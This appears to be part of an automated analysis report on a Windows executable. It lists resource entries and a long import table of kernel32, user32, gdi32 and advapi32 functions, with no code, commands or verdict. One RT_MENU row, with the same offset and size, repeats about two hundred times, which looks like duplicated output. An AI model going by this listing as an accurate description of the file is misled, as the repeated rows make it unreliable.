RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_MENU 0x00095490 0x000001da LANG_ENGLISH SUBLANG_ENGLISH_US 0.00 None
RT_DIALOG 0x0009566c 0x00000052 LANG_NEUTRAL SUBLANG_NEUTRAL 2.56 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_STRING 0x00098720 0x000002c4 LANG_NEUTRAL SUBLANG_NEUTRAL 3.18 None
RT_RCDATA 0x000990e8 0x000000ec LANG_ENGLISH SUBLANG_ENGLISH_US 7.12 None
RT_RCDATA 0x000990e8 0x000000ec LANG_ENGLISH SUBLANG_ENGLISH_US 7.12 None
RT_RCDATA 0x000990e8 0x000000ec LANG_ENGLISH SUBLANG_ENGLISH_US 7.12 None
RT_RCDATA 0x000990e8 0x000000ec LANG_ENGLISH SUBLANG_ENGLISH_US 7.12 None
RT_GROUP_CURSOR 0x0009924c 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_CURSOR 0x0009924c 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_CURSOR 0x0009924c 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_CURSOR 0x0009924c 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_CURSOR 0x0009924c 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_CURSOR 0x0009924c 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_CURSOR 0x0009924c 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_ICON 0x00099260 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 1.84 None

Imports

0x46713c VirtualFree
0x467140 VirtualAlloc
0x467144 LocalFree
0x467148 LocalAlloc
0x46714c GetVersion
0x467150 GetCurrentThreadId
0x46715c VirtualQuery
0x467160 WideCharToMultiByte
0x467164 MultiByteToWideChar
0x467168 lstrlenA
0x46716c lstrcpynA
0x467170 LoadLibraryExA
0x467174 GetThreadLocale
0x467178 GetStartupInfoA
0x46717c GetProcAddress
0x467180 GetModuleHandleA
0x467184 GetModuleFileNameA
0x467188 GetLocaleInfoA
0x46718c GetCommandLineA
0x467190 FreeLibrary
0x467194 FindFirstFileA
0x467198 FindClose
0x46719c ExitProcess
0x4671a0 WriteFile
0x4671a8 RtlUnwind
0x4671ac RaiseException
0x4671b0 GetStdHandle
0x4671b8 GetKeyboardType
0x4671bc LoadStringA
0x4671c0 MessageBoxA
0x4671c4 CharNextA
0x4671cc RegQueryValueExA
0x4671d0 RegOpenKeyExA
0x4671d4 RegCloseKey
0x4671dc SysFreeString
0x4671e0 SysReAllocStringLen
0x4671e4 SysAllocStringLen
0x4671ec TlsSetValue
0x4671f0 TlsGetValue
0x4671f4 LocalAlloc
0x4671f8 GetModuleHandleA
0x467200 RegQueryValueExA
0x467204 RegOpenKeyExA
0x467208 RegCloseKey
0x467210 lstrcpyA
0x467214 WriteFile
0x46721c WaitForSingleObject
0x467220 VirtualQuery
0x467224 VirtualAlloc
0x467228 Sleep
0x46722c SizeofResource
0x467230 SetThreadPriority
0x467234 SetThreadLocale
0x467238 SetFilePointer
0x46723c SetEvent
0x467240 SetErrorMode
0x467244 SetEndOfFile
0x467248 ResetEvent
0x46724c ReadFile
0x467250 MulDiv
0x467254 LockResource
0x467258 LoadResource
0x46725c LoadLibraryA
0x467268 GlobalUnlock
0x46726c GlobalReAlloc
0x467270 GlobalHandle
0x467274 GlobalLock
0x467278 GlobalFree
0x46727c GlobalFindAtomA
0x467280 GlobalDeleteAtom
0x467284 GlobalAlloc
0x467288 GlobalAddAtomA
0x46728c GetVersionExA
0x467290 GetVersion
0x467294 GetTickCount
0x467298 GetThreadLocale
0x46729c GetTempPathA
0x4672a0 GetSystemInfo
0x4672a4 GetStringTypeExA
0x4672a8 GetStdHandle
0x4672ac GetProcAddress
0x4672b0 GetModuleHandleA
0x4672b4 GetModuleFileNameA
0x4672b8 GetLocaleInfoA
0x4672bc GetLocalTime
0x4672c0 GetLastError
0x4672c4 GetFullPathNameA
0x4672c8 GetFileSize
0x4672cc GetDiskFreeSpaceA
0x4672d0 GetDateFormatA
0x4672d4 GetCurrentThreadId
0x4672d8 GetCurrentProcessId
0x4672dc GetCPInfo
0x4672e0 GetACP
0x4672e4 FreeResource
0x4672e8 InterlockedExchange
0x4672ec FreeLibrary
0x4672f0 FormatMessageA
0x4672f4 FindResourceA
0x4672f8 EnumCalendarInfoA
0x467304 CreateThread
0x467308 CreateFileA
0x46730c CreateEventA
0x467310 CopyFileA
0x467314 CompareStringA
0x467318 CloseHandle
0x467320 VerQueryValueA
0x467328 GetFileVersionInfoA
0x467330 UnrealizeObject
0x467334 StretchBlt
0x467338 SetWindowOrgEx
0x46733c SetViewportOrgEx
0x467340 SetTextColor
0x467344 SetStretchBltMode
0x467348 SetROP2
0x46734c SetPixel
0x467350 SetDIBColorTable
0x467354 SetBrushOrgEx
0x467358 SetBkMode
0x46735c SetBkColor
0x467360 SelectPalette
0x467364 SelectObject
0x467368 SaveDC
0x46736c RestoreDC
0x467370 RectVisible
0x467374 RealizePalette
0x467378 PatBlt
0x46737c MoveToEx
0x467380 MaskBlt
0x467384 LineTo
0x467388 IntersectClipRect
0x46738c GetWindowOrgEx
0x467390 GetTextMetricsA
0x46739c GetStockObject
0x4673a0 GetPixel
0x4673a4 GetPaletteEntries
0x4673a8 GetObjectA
0x4673ac GetDeviceCaps
0x4673b0 GetDIBits
0x4673b4 GetDIBColorTable
0x4673b8 GetDCOrgEx
0x4673c0 GetClipBox
0x4673c4 GetBrushOrgEx
0x4673c8 GetBitmapBits
0x4673cc ExcludeClipRect
0x4673d0 DeleteObject
0x4673d4 DeleteDC
0x4673d8 CreateSolidBrush
0x4673dc CreatePenIndirect
0x4673e0 CreatePalette
0x4673e8 CreateFontIndirectA
0x4673ec CreateDIBitmap
0x4673f0 CreateDIBSection
0x4673f4 CreateCompatibleDC
0x4673fc CreateBrushIndirect
0x467400 CreateBitmap
0x467404 BitBlt
0x46740c CreateWindowExA
0x467410 WindowFromPoint
0x467414 WinHelpA
0x467418 WaitMessage
0x46741c UpdateWindow
0x467420 UnregisterClassA
0x467424 UnhookWindowsHookEx
0x467428 TranslateMessage
0x467430 TrackPopupMenu
0x467438 ShowWindow
0x46743c ShowScrollBar
0x467440 ShowOwnedPopups
0x467444 ShowCursor
0x467448 SetWindowsHookExA
0x46744c SetWindowPos
0x467450 SetWindowPlacement
0x467454 SetWindowLongA
0x467458 SetTimer
0x46745c SetScrollRange
0x467460 SetScrollPos
0x467464 SetScrollInfo
0x467468 SetRect
0x46746c SetPropA
0x467470 SetParent
0x467474 SetMenuItemInfoA
0x467478 SetMenu
0x46747c SetForegroundWindow
0x467480 SetFocus
0x467484 SetCursor
0x467488 SetClassLongA
0x46748c SetCapture
0x467490 SetActiveWindow
0x467494 SendMessageA
0x467498 ScrollWindow
0x46749c ScreenToClient
0x4674a0 RemovePropA
0x4674a4 RemoveMenu
0x4674a8 ReleaseDC
0x4674ac ReleaseCapture
0x4674b8 RegisterClassA
0x4674bc RedrawWindow
0x4674c0 PtInRect
0x4674c4 PostQuitMessage
0x4674c8 PostMessageA
0x4674cc PeekMessageA
0x4674d0 OffsetRect
0x4674d4 OemToCharA
0x4674d8 MessageBoxA
0x4674dc MapWindowPoints
0x4674e0 MapVirtualKeyA
0x4674e4 LoadStringA
0x4674e8 LoadKeyboardLayoutA
0x4674ec LoadIconA
0x4674f0 LoadCursorA
0x4674f4 LoadBitmapA
0x4674f8 KillTimer
0x4674fc IsZoomed
0x467500 IsWindowVisible
0x467504 IsWindowEnabled
0x467508 IsWindow
0x46750c IsRectEmpty
0x467510 IsIconic
0x467514 IsDialogMessageA
0x467518 IsChild
0x46751c InvalidateRect
0x467520 IntersectRect
0x467524 InsertMenuItemA
0x467528 InsertMenuA
0x46752c InflateRect
0x467534 GetWindowTextA
0x467538 GetWindowRect
0x46753c GetWindowPlacement
0x467540 GetWindowLongA
0x467544 GetWindowDC
0x467548 GetTopWindow
0x46754c GetSystemMetrics
0x467550 GetSystemMenu
0x467554 GetSysColorBrush
0x467558 GetSysColor
0x46755c GetSubMenu
0x467560 GetScrollRange
0x467564 GetScrollPos
0x467568 GetScrollInfo
0x46756c GetPropA
0x467570 GetParent
0x467574 GetWindow
0x467578 GetMenuStringA
0x46757c GetMenuState
0x467580 GetMenuItemInfoA
0x467584 GetMenuItemID
0x467588 GetMenuItemCount
0x46758c GetMenu
0x467590 GetLastActivePopup
0x467594 GetKeyboardState
0x46759c GetKeyboardLayout
0x4675a0 GetKeyState
0x4675a4 GetKeyNameTextA
0x4675a8 GetIconInfo
0x4675ac GetForegroundWindow
